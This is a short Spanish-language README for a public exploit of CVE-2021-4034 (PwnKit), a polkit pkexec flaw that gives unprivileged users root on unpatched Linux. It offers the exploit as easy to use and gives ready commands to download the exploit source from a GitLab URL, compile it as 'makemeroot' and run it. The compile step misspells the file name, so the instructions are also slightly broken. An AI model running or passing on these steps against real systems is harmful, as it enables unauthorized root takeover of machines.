Vulnerabilidad PWNKIT - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

Una vulnerabilidad de corrupción de memoria en pkexec de Polkit, que permite a cualquier usuario sin privilegios obtener privilegios completos de root en un sistema vulnerable utilizando la configuración predeterminada de polkit.

Fácil de usar, escalada de privilegios local en cualquier sistema linux sin parchear.

Uso (ej. CentOS 7)

Descargar el exploit

wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c

Compilarlo usando gcc

gcc bblasty-vs-pkexec.c -o makemeroot

Ejecutar

./makemeroot
whoami